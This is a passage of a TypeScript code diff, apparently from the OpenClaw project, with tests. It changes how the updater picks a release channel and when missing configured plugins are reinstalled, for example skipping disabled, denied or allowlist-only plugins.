runtimeWebFetch?: RuntimeWebFetchMetadata;
|
||||
}): ResolvedWebToolRuntimeContext<RuntimeWebFetchMetadata> & {
|
||||
runtimeWebFetch?: RuntimeWebFetchMetadata;
|
||||
} {
|
||||
const resolved = resolveWebToolRuntimeContext({
|
||||
capturedConfig: params.config,
|
||||
capturedRuntimeMetadata: params.runtimeWebFetch,
|
||||
kind: "fetch",
|
||||
lateBindRuntimeConfig: params.lateBindRuntimeConfig,
|
||||
});
|
||||
return {
|
||||
config: resolved.config,
|
||||
preferRuntimeProviders: resolved.preferRuntimeProviders,
|
||||
runtimeMetadata: resolved.runtimeMetadata,
|
||||
runtimeWebFetch: resolved.runtimeMetadata,
|
||||
};
|
||||
}
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
recoverInstalledLaunchAgentAfterUpdate,
|
||||
recoverLaunchAgentAndRecheckGatewayHealth,
|
||||
resolvePostInstallDoctorEnv,
|
||||
resolveUpdateCommandChannel,
|
||||
shouldPrepareUpdatedInstallRestart,
|
||||
resolveUpdatedGatewayRestartPort,
|
||||
shouldUseLegacyProcessRestartAfterUpdate,
|
||||
@@ -236,6 +237,43 @@ describe("shouldUseLegacyProcessRestartAfterUpdate", () => {
|
||||
expect(shouldUseLegacyProcessRestartAfterUpdate({ updateMode: "unknown" })).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveUpdateCommandChannel", () => {
|
||||
it("keeps package updates on beta when the installed core is beta", () => {
|
||||
expect(
|
||||
resolveUpdateCommandChannel({
|
||||
updateInstallKind: "package",
|
||||
currentVersion: "2026.5.3-beta.1",
|
||||
}),
|
||||
).toBe("beta");
|
||||
});
|
||||
|
||||
it("keeps installed beta packages on beta even with stale stable config", () => {
|
||||
expect(
|
||||
resolveUpdateCommandChannel({
|
||||
storedChannel: "stable",
|
||||
updateInstallKind: "package",
|
||||
currentVersion: "2026.5.3-beta.1",
|
||||
}),
|
||||
).toBe("beta");
|
||||
});
|
||||
|
||||
it("lets an explicit requested channel override the installed beta version", () => {
|
||||
expect(
|
||||
resolveUpdateCommandChannel({
|
||||
requestedChannel: "stable",
|
||||
storedChannel: "beta",
|
||||
updateInstallKind: "package",
|
||||
currentVersion: "2026.5.3-beta.1",
|
||||
}),
|
||||
).toBe("stable");
|
||||
});
|
||||
|
||||
it("keeps git installs on the dev default", () => {
|
||||
expect(resolveUpdateCommandChannel({ updateInstallKind: "git" })).toBe("dev");
|
||||
});
|
||||
});
|
||||
|
||||
describe("recoverInstalledLaunchAgentAfterUpdate", () => {
|
||||
it("re-bootstraps an installed-but-not-loaded macOS LaunchAgent after update", async () => {
|
||||
const service = {} as never;
|
||||
|
||||
@@ -33,8 +33,9 @@ import { nodeVersionSatisfiesEngine } from "../../infra/runtime-guard.js";
|
||||
import {
|
||||
channelToNpmTag,
|
||||
DEFAULT_GIT_CHANNEL,
|
||||
DEFAULT_PACKAGE_CHANNEL,
|
||||
normalizeUpdateChannel,
|
||||
resolveRegistryUpdateChannel,
|
||||
type UpdateChannel,
|
||||
} from "../../infra/update-channels.js";
|
||||
import {
|
||||
compareSemverStrings,
|
||||
@@ -238,6 +239,24 @@ export function shouldUseLegacyProcessRestartAfterUpdate(params: {
|
||||
return !isPackageManagerUpdateMode(params.updateMode);
|
||||
}
|
||||
|
||||
export function resolveUpdateCommandChannel(params: {
|
||||
requestedChannel?: UpdateChannel | null;
|
||||
storedChannel?: UpdateChannel | null;
|
||||
updateInstallKind: "git" | "package" | "unknown";
|
||||
currentVersion?: string | null;
|
||||
}): UpdateChannel {
|
||||
if (params.requestedChannel) {
|
||||
return params.requestedChannel;
|
||||
}
|
||||
if (params.updateInstallKind === "git") {
|
||||
return params.storedChannel ?? DEFAULT_GIT_CHANNEL;
|
||||
}
|
||||
return resolveRegistryUpdateChannel({
|
||||
configChannel: params.storedChannel,
|
||||
currentVersion: params.currentVersion,
|
||||
});
|
||||
}
|
||||
|
||||
type PostUpdateLaunchAgentRecoveryResult =
|
||||
| { attempted: false; recovered: false }
|
||||
| { attempted: true; recovered: true; message: string }
|
||||
@@ -1806,9 +1825,14 @@ export async function updateCommand(opts: UpdateCommandOptions): Promise<void> {
|
||||
const switchToPackage =
|
||||
requestedChannel !== null && requestedChannel !== "dev" && installKind === "git";
|
||||
const updateInstallKind = switchToGit ? "git" : switchToPackage ? "package" : installKind;
|
||||
const defaultChannel =
|
||||
updateInstallKind === "git" ? DEFAULT_GIT_CHANNEL : DEFAULT_PACKAGE_CHANNEL;
|
||||
const channel = requestedChannel ?? storedChannel ?? defaultChannel;
|
||||
const currentVersionForChannel =
|
||||
updateInstallKind !== "git" && !switchToPackage ? await readPackageVersion(root) : null;
|
||||
const channel = resolveUpdateCommandChannel({
|
||||
requestedChannel,
|
||||
storedChannel,
|
||||
updateInstallKind,
|
||||
currentVersion: currentVersionForChannel,
|
||||
});
|
||||
const devTargetRef =
|
||||
channel === "dev" ? process.env.OPENCLAW_UPDATE_DEV_TARGET_REF?.trim() || undefined : undefined;
|
||||
|
||||
@@ -1822,7 +1846,7 @@ export async function updateCommand(opts: UpdateCommandOptions): Promise<void> {
|
||||
let packageAlreadyCurrent = false;
|
||||
|
||||
if (updateInstallKind !== "git") {
|
||||
currentVersion = switchToPackage ? null : await readPackageVersion(root);
|
||||
currentVersion = switchToPackage ? null : currentVersionForChannel;
|
||||
if (explicitTag) {
|
||||
targetVersion = await resolveTargetVersion(tag, timeoutMs);
|
||||
} else {
|
||||
|
||||
@@ -84,6 +84,14 @@ function shouldUseCompatPreflight(path: ReadonlyArray<string>, value: unknown):
|
||||
if (last === "streaming" && (typeof value === "boolean" || typeof value === "string")) {
|
||||
return true;
|
||||
}
|
||||
if (
|
||||
last === "progress" &&
|
||||
path.length >= 3 &&
|
||||
path[path.length - 2] === "streaming" &&
|
||||
path[0] === "channels"
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
if (
|
||||
joined === "talk.voiceId" ||
|
||||
joined === "talk.voiceAliases" ||
|
||||
|
||||
@@ -1,4 +1,9 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { isPrereleaseSemverVersion } from "../../../infra/npm-registry-spec.js";
|
||||
import { VERSION } from "../../../version.js";
|
||||
|
||||
const openClawReleaseSpec = (packageName: string) =>
|
||||
isPrereleaseSemverVersion(VERSION) ? `${packageName}@beta` : `${packageName}@${VERSION}`;
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
installPluginFromClawHub: vi.fn(),
|
||||
@@ -343,13 +348,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/twitch",
|
||||
spec: openClawReleaseSpec("@openclaw/twitch"),
|
||||
expectedPluginId: "twitch",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "twitch" from @openclaw/twitch.',
|
||||
`Installed missing configured plugin "twitch" from ${openClawReleaseSpec("@openclaw/twitch")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -395,12 +400,12 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/diagnostics-otel",
|
||||
spec: openClawReleaseSpec("@openclaw/diagnostics-otel"),
|
||||
expectedPluginId: "diagnostics-otel",
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "diagnostics-otel" from @openclaw/diagnostics-otel.',
|
||||
`Installed missing configured plugin "diagnostics-otel" from ${openClawReleaseSpec("@openclaw/diagnostics-otel")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -442,13 +447,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/acpx",
|
||||
spec: openClawReleaseSpec("@openclaw/acpx"),
|
||||
expectedPluginId: "acpx",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "acpx" from @openclaw/acpx.',
|
||||
`Installed missing configured plugin "acpx" from ${openClawReleaseSpec("@openclaw/acpx")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -514,6 +519,40 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("does not install channel plugins when the matching plugin entry is disabled", async () => {
|
||||
mocks.listChannelPluginCatalogEntries.mockReturnValue([
|
||||
{
|
||||
id: "matrix",
|
||||
pluginId: "matrix",
|
||||
meta: { label: "Matrix" },
|
||||
install: {
|
||||
npmSpec: "@openclaw/plugin-matrix@1.2.3",
|
||||
},
|
||||
},
|
||||
]);
|
||||
|
||||
const { repairMissingConfiguredPluginInstalls } =
|
||||
await import("./missing-configured-plugin-install.js");
|
||||
const result = await repairMissingConfiguredPluginInstalls({
|
||||
cfg: {
|
||||
plugins: {
|
||||
entries: {
|
||||
matrix: { enabled: false },
|
||||
},
|
||||
},
|
||||
channels: {
|
||||
matrix: { homeserver: "https://matrix.example.org" },
|
||||
},
|
||||
},
|
||||
env: {},
|
||||
});
|
||||
|
||||
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
|
||||
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
|
||||
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("does not download configured channel plugins that are still bundled", async () => {
|
||||
mocks.listChannelPluginCatalogEntries.mockReturnValue([
|
||||
{
|
||||
@@ -905,6 +944,23 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("does not install plugins merely listed in plugins.allow", async () => {
|
||||
const { repairMissingConfiguredPluginInstalls } =
|
||||
await import("./missing-configured-plugin-install.js");
|
||||
const result = await repairMissingConfiguredPluginInstalls({
|
||||
cfg: {
|
||||
plugins: {
|
||||
allow: ["codex"],
|
||||
},
|
||||
},
|
||||
env: {},
|
||||
});
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
|
||||
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("installs a missing third-party downloadable plugin from npm only", async () => {
|
||||
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
|
||||
ok: true,
|
||||
@@ -999,7 +1055,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(mocks.resolveProviderInstallCatalogEntries).toHaveBeenCalled();
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/codex",
|
||||
spec: openClawReleaseSpec("@openclaw/codex"),
|
||||
expectedPluginId: "codex",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
@@ -1008,7 +1064,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect.objectContaining({
|
||||
codex: expect.objectContaining({
|
||||
source: "npm",
|
||||
spec: "@openclaw/codex",
|
||||
spec: openClawReleaseSpec("@openclaw/codex"),
|
||||
installPath: "/tmp/openclaw-plugins/codex",
|
||||
version: "2026.5.2",
|
||||
}),
|
||||
@@ -1016,7 +1072,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
{ env: {} },
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "codex" from @openclaw/codex.',
|
||||
`Installed missing configured plugin "codex" from ${openClawReleaseSpec("@openclaw/codex")}.`,
|
||||
]);
|
||||
expect(result.warnings).toEqual([]);
|
||||
});
|
||||
@@ -1077,7 +1133,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/codex",
|
||||
spec: openClawReleaseSpec("@openclaw/codex"),
|
||||
expectedPluginId: "codex",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
@@ -1086,7 +1142,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect.objectContaining({
|
||||
codex: expect.objectContaining({
|
||||
source: "npm",
|
||||
spec: "@openclaw/codex",
|
||||
spec: openClawReleaseSpec("@openclaw/codex"),
|
||||
installPath: "/tmp/openclaw-plugins/codex",
|
||||
version: "2026.5.2",
|
||||
}),
|
||||
@@ -1094,7 +1150,9 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
{ env },
|
||||
);
|
||||
expect(result).toEqual({
|
||||
changes: ['Installed missing configured plugin "codex" from @openclaw/codex.'],
|
||||
changes: [
|
||||
`Installed missing configured plugin "codex" from ${openClawReleaseSpec("@openclaw/codex")}.`,
|
||||
],
|
||||
warnings: [],
|
||||
});
|
||||
});
|
||||
@@ -1126,6 +1184,218 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("does not install a channel catalog plugin when a configured plugin already owns that channel", async () => {
|
||||
mocks.loadPluginMetadataSnapshot.mockReturnValue({
|
||||
plugins: [
|
||||
{
|
||||
id: "openclaw-lark",
|
||||
origin: "config",
|
||||
channels: ["feishu"],
|
||||
channelConfigs: {
|
||||
feishu: {
|
||||
schema: {
|
||||
type: "object",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
],
|
||||
diagnostics: [],
|
||||
});
|
||||
mocks.listChannelPluginCatalogEntries.mockReturnValue([
|
||||
{
|
||||
id: "feishu",
|
||||
pluginId: "feishu",
|
||||
meta: { label: "Feishu" },
|
||||
install: {
|
||||
npmSpec: "@openclaw/feishu",
|
||||
},
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
},
|
||||
]);
|
||||
|
||||
const { repairMissingConfiguredPluginInstalls } =
|
||||
await import("./missing-configured-plugin-install.js");
|
||||
const result = await repairMissingConfiguredPluginInstalls({
|
||||
cfg: {
|
||||
plugins: {
|
||||
entries: {
|
||||
"openclaw-lark": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
channels: {
|
||||
feishu: {
|
||||
footer: {
|
||||
model: false,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
env: {},
|
||||
});
|
||||
|
||||
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
|
||||
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
|
||||
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
|
||||
expect(result).toEqual({ changes: [], warnings: [] });
|
||||
});
|
||||
|
||||
it("still installs a channel catalog plugin when the configured owner is blocked by the allowlist", async () => {
|
||||
mocks.loadPluginMetadataSnapshot.mockReturnValue({
|
||||
plugins: [
|
||||
{
|
||||
id: "openclaw-lark",
|
||||
origin: "config",
|
||||
channels: ["feishu"],
|
||||
channelConfigs: {
|
||||
feishu: {
|
||||
schema: {
|
||||
type: "object",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
],
|
||||
diagnostics: [],
|
||||
});
|
||||
mocks.listChannelPluginCatalogEntries.mockReturnValue([
|
||||
{
|
||||
id: "feishu",
|
||||
pluginId: "feishu",
|
||||
meta: { label: "Feishu" },
|
||||
install: {
|
||||
npmSpec: "@openclaw/feishu",
|
||||
},
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
},
|
||||
]);
|
||||
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
|
||||
ok: true,
|
||||
pluginId: "feishu",
|
||||
targetDir: "/tmp/openclaw-plugins/feishu",
|
||||
version: "2026.5.2",
|
||||
npmResolution: {
|
||||
name: "@openclaw/feishu",
|
||||
version: "2026.5.2",
|
||||
resolvedSpec: "@openclaw/feishu@2026.5.2",
|
||||
},
|
||||
});
|
||||
|
||||
const { repairMissingConfiguredPluginInstalls } =
|
||||
await import("./missing-configured-plugin-install.js");
|
||||
const result = await repairMissingConfiguredPluginInstalls({
|
||||
cfg: {
|
||||
plugins: {
|
||||
allow: ["some-other-plugin"],
|
||||
entries: {
|
||||
"openclaw-lark": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
channels: {
|
||||
feishu: {
|
||||
footer: {
|
||||
model: false,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
env: {},
|
||||
});
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: openClawReleaseSpec("@openclaw/feishu"),
|
||||
expectedPluginId: "feishu",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
`Installed missing configured plugin "feishu" from ${openClawReleaseSpec("@openclaw/feishu")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
it("still installs a channel catalog plugin when that plugin is explicitly configured", async () => {
|
||||
mocks.loadPluginMetadataSnapshot.mockReturnValue({
|
||||
plugins: [
|
||||
{
|
||||
id: "openclaw-lark",
|
||||
origin: "config",
|
||||
channels: ["feishu"],
|
||||
channelConfigs: {
|
||||
feishu: {
|
||||
schema: {
|
||||
type: "object",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
],
|
||||
diagnostics: [],
|
||||
});
|
||||
mocks.listChannelPluginCatalogEntries.mockReturnValue([
|
||||
{
|
||||
id: "feishu",
|
||||
pluginId: "feishu",
|
||||
meta: { label: "Feishu" },
|
||||
install: {
|
||||
npmSpec: "@openclaw/feishu",
|
||||
},
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
},
|
||||
]);
|
||||
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
|
||||
ok: true,
|
||||
pluginId: "feishu",
|
||||
targetDir: "/tmp/openclaw-plugins/feishu",
|
||||
version: "2026.5.2",
|
||||
npmResolution: {
|
||||
name: "@openclaw/feishu",
|
||||
version: "2026.5.2",
|
||||
resolvedSpec: "@openclaw/feishu@2026.5.2",
|
||||
},
|
||||
});
|
||||
|
||||
const { repairMissingConfiguredPluginInstalls } =
|
||||
await import("./missing-configured-plugin-install.js");
|
||||
const result = await repairMissingConfiguredPluginInstalls({
|
||||
cfg: {
|
||||
plugins: {
|
||||
entries: {
|
||||
feishu: {
|
||||
enabled: true,
|
||||
},
|
||||
"openclaw-lark": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
channels: {
|
||||
feishu: {
|
||||
footer: {
|
||||
model: false,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
env: {},
|
||||
});
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: openClawReleaseSpec("@openclaw/feishu"),
|
||||
expectedPluginId: "feishu",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
`Installed missing configured plugin "feishu" from ${openClawReleaseSpec("@openclaw/feishu")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
it("reinstalls a missing configured plugin from its persisted install record", async () => {
|
||||
const records = {
|
||||
demo: {
|
||||
@@ -1271,7 +1541,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
);
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/discord",
|
||||
spec: openClawReleaseSpec("@openclaw/discord"),
|
||||
expectedPluginId: "discord",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
@@ -1283,7 +1553,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
{ env: {} },
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "discord" from @openclaw/discord.',
|
||||
`Installed missing configured plugin "discord" from ${openClawReleaseSpec("@openclaw/discord")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -1616,13 +1886,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
|
||||
|
||||
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/brave-plugin",
|
||||
spec: openClawReleaseSpec("@openclaw/brave-plugin"),
|
||||
expectedPluginId: "brave",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.changes).toEqual([
|
||||
'Installed missing configured plugin "brave" from @openclaw/brave-plugin.',
|
||||
`Installed missing configured plugin "brave" from ${openClawReleaseSpec("@openclaw/brave-plugin")}.`,
|
||||
]);
|
||||
});
|
||||
|
||||
|
||||
@@ -8,7 +8,12 @@ import { listChannelPluginCatalogEntries } from "../../../channels/plugins/catal
|
||||
import type { OpenClawConfig } from "../../../config/types.openclaw.js";
|
||||
import type { PluginInstallRecord } from "../../../config/types.plugins.js";
|
||||
import { parseClawHubPluginSpec } from "../../../infra/clawhub-spec.js";
|
||||
import { parseRegistryNpmSpec } from "../../../infra/npm-registry-spec.js";
|
||||
import {
|
||||
isExactSemverVersion,
|
||||
isPrereleaseSemverVersion,
|
||||
parseRegistryNpmSpec,
|
||||
} from "../../../infra/npm-registry-spec.js";
|
||||
import { resolveConfiguredChannelPresencePolicy } from "../../../plugins/channel-plugin-ids.js";
|
||||
import { buildClawHubPluginInstallRecordFields } from "../../../plugins/clawhub-install-records.js";
|
||||
import { CLAWHUB_INSTALL_ERROR_CODE, installPluginFromClawHub } from "../../../plugins/clawhub.js";
|
||||
import { resolveDefaultPluginExtensionsDir } from "../../../plugins/install-paths.js";
|
||||
@@ -29,7 +34,9 @@ import type { PluginMetadataSnapshot } from "../../../plugins/plugin-metadata-sn
|
||||
import { resolveProviderInstallCatalogEntries } from "../../../plugins/provider-install-catalog.js";
|
||||
import { updateNpmInstalledPlugins } from "../../../plugins/update.js";
|
||||
import { resolveWebSearchInstallCatalogEntry } from "../../../plugins/web-search-install-catalog.js";
|
||||
import { normalizeOptionalLowercaseString } from "../../../shared/string-coerce.js";
|
||||
import { resolveUserPath } from "../../../utils.js";
|
||||
import { VERSION } from "../../../version.js";
|
||||
import { asObjectRecord } from "./object.js";
|
||||
|
||||
type DownloadableInstallCandidate = {
|
||||
@@ -107,10 +114,6 @@ function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv
|
||||
if (plugins?.enabled === false) {
|
||||
return ids;
|
||||
}
|
||||
const allow = Array.isArray(plugins?.allow) ? plugins.allow : [];
|
||||
for (const value of allow) {
|
||||
addConfiguredPluginId(ids, value);
|
||||
}
|
||||
const entries = asObjectRecord(plugins?.entries);
|
||||
for (const [pluginId, entry] of Object.entries(entries ?? {})) {
|
||||
if (asObjectRecord(entry)?.enabled === false) {
|
||||
@@ -139,6 +142,25 @@ function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv
|
||||
return ids;
|
||||
}
|
||||
|
||||
function collectBlockedPluginIds(cfg: OpenClawConfig): Set<string> {
|
||||
const ids = new Set<string>();
|
||||
const deny = cfg.plugins?.deny;
|
||||
if (Array.isArray(deny)) {
|
||||
for (const pluginId of deny) {
|
||||
if (typeof pluginId === "string" && pluginId.trim()) {
|
||||
ids.add(pluginId.trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
const entries = asObjectRecord(cfg.plugins?.entries);
|
||||
for (const [pluginId, entry] of Object.entries(entries ?? {})) {
|
||||
if (pluginId.trim() && asObjectRecord(entry)?.enabled === false) {
|
||||
ids.add(pluginId.trim());
|
||||
}
|
||||
}
|
||||
return ids;
|
||||
}
|
||||
|
||||
function collectConfiguredChannelIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv): Set<string> {
|
||||
const ids = new Set<string>();
|
||||
if (asObjectRecord(cfg.plugins)?.enabled === false) {
|
||||
@@ -161,12 +183,45 @@ function collectConfiguredChannelIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEn
|
||||
return ids;
|
||||
}
|
||||
|
||||
function collectEffectiveConfiguredChannelOwnerPluginIds(params: {
|
||||
cfg: OpenClawConfig;
|
||||
env: NodeJS.ProcessEnv;
|
||||
snapshot: PluginMetadataSnapshot;
|
||||
configuredChannelIds: ReadonlySet<string>;
|
||||
}): Map<string, Set<string>> {
|
||||
const owners = new Map<string, Set<string>>();
|
||||
const configuredChannelIds = new Set(
|
||||
[...params.configuredChannelIds]
|
||||
.map((channelId) => normalizeOptionalLowercaseString(channelId))
|
||||
.filter((channelId): channelId is string => Boolean(channelId)),
|
||||
);
|
||||
if (configuredChannelIds.size === 0) {
|
||||
return owners;
|
||||
}
|
||||
for (const entry of resolveConfiguredChannelPresencePolicy({
|
||||
config: params.cfg,
|
||||
env: params.env,
|
||||
includePersistedAuthState: false,
|
||||
manifestRecords: params.snapshot.plugins,
|
||||
})) {
|
||||
if (!entry.effective || !configuredChannelIds.has(entry.channelId)) {
|
||||
continue;
|
||||
}
|
||||
const pluginIds = new Set(entry.pluginIds);
|
||||
if (pluginIds.size > 0) {
|
||||
owners.set(entry.channelId, pluginIds);
|
||||
}
|
||||
}
|
||||
return owners;
|
||||
}
|
||||
|
||||
function collectDownloadableInstallCandidates(params: {
|
||||
cfg: OpenClawConfig;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
missingPluginIds: ReadonlySet<string>;
|
||||
configuredPluginIds?: ReadonlySet<string>;
|
||||
configuredChannelIds?: ReadonlySet<string>;
|
||||
configuredChannelOwnerPluginIds?: ReadonlyMap<string, ReadonlySet<string>>;
|
||||
blockedPluginIds?: ReadonlySet<string>;
|
||||
}): DownloadableInstallCandidate[] {
|
||||
const configuredPluginIds =
|
||||
@@ -183,9 +238,25 @@ function collectDownloadableInstallCandidates(params: {
|
||||
continue;
|
||||
}
|
||||
const pluginId = entry.pluginId ?? entry.id;
|
||||
const channelId = normalizeOptionalLowercaseString(entry.id);
|
||||
if (params.blockedPluginIds?.has(pluginId)) {
|
||||
continue;
|
||||
}
|
||||
const selectedOnlyByChannel =
|
||||
!params.missingPluginIds.has(pluginId) &&
|
||||
!configuredPluginIds.has(pluginId) &&
|
||||
(channelId ? configuredChannelIds.has(channelId) : configuredChannelIds.has(entry.id));
|
||||
const configuredChannelOwnerPluginIds = channelId
|
||||
? params.configuredChannelOwnerPluginIds?.get(channelId)
|
||||
: undefined;
|
||||
if (
|
||||
selectedOnlyByChannel &&
|
||||
configuredChannelOwnerPluginIds &&
|
||||
configuredChannelOwnerPluginIds.size > 0 &&
|
||||
!configuredChannelOwnerPluginIds.has(pluginId)
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
!params.missingPluginIds.has(pluginId) &&
|
||||
!configuredPluginIds.has(pluginId) &&
|
||||
@@ -292,6 +363,7 @@ function collectUpdateDeferredPluginIds(params: {
|
||||
env: NodeJS.ProcessEnv;
|
||||
configuredPluginIds: ReadonlySet<string>;
|
||||
configuredChannelIds: ReadonlySet<string>;
|
||||
configuredChannelOwnerPluginIds?: ReadonlyMap<string, ReadonlySet<string>>;
|
||||
blockedPluginIds?: ReadonlySet<string>;
|
||||
}): Set<string> {
|
||||
const pluginIds = new Set(params.configuredPluginIds);
|
||||
@@ -301,6 +373,7 @@ function collectUpdateDeferredPluginIds(params: {
|
||||
missingPluginIds: new Set(),
|
||||
configuredPluginIds: params.configuredPluginIds,
|
||||
configuredChannelIds: params.configuredChannelIds,
|
||||
configuredChannelOwnerPluginIds: params.configuredChannelOwnerPluginIds,
|
||||
blockedPluginIds: params.blockedPluginIds,
|
||||
})) {
|
||||
pluginIds.add(candidate.pluginId);
|
||||
@@ -381,6 +454,36 @@ function recordClawHubPackageName(value: string | undefined): string | undefined
|
||||
return parseClawHubPluginSpec(trimmed)?.name ?? trimmed;
|
||||
}
|
||||
|
||||
function resolveVersionAlignedOfficialNpmSpec(
|
||||
candidate: DownloadableInstallCandidate,
|
||||
): string | undefined {
|
||||
const npmSpec = candidate.npmSpec?.trim();
|
||||
if (!npmSpec || !candidate.trustedSourceLinkedOfficialInstall) {
|
||||
return npmSpec;
|
||||
}
|
||||
const parsed = parseRegistryNpmSpec(npmSpec);
|
||||
if (!parsed || !parsed.name.startsWith("@openclaw/")) {
|
||||
return npmSpec;
|
||||
}
|
||||
if (parsed.selectorKind === "exact-version") {
|
||||
return npmSpec;
|
||||
}
|
||||
const hostVersion = VERSION.trim();
|
||||
if (!isExactSemverVersion(hostVersion)) {
|
||||
return npmSpec;
|
||||
}
|
||||
if (isPrereleaseSemverVersion(hostVersion)) {
|
||||
const prerelease = /^[0-9]+\.[0-9]+\.[0-9]+-([0-9A-Za-z._-]+)(?:\+.*)?$/u.exec(
|
||||
hostVersion,
|
||||
)?.[1];
|
||||
const prereleaseTag = prerelease?.split(/[.-]/u)[0];
|
||||
return prereleaseTag && /^[A-Za-z][A-Za-z0-9._-]*$/u.test(prereleaseTag)
|
||||
? `${parsed.name}@${prereleaseTag}`
|
||||
: npmSpec;
|
||||
}
|
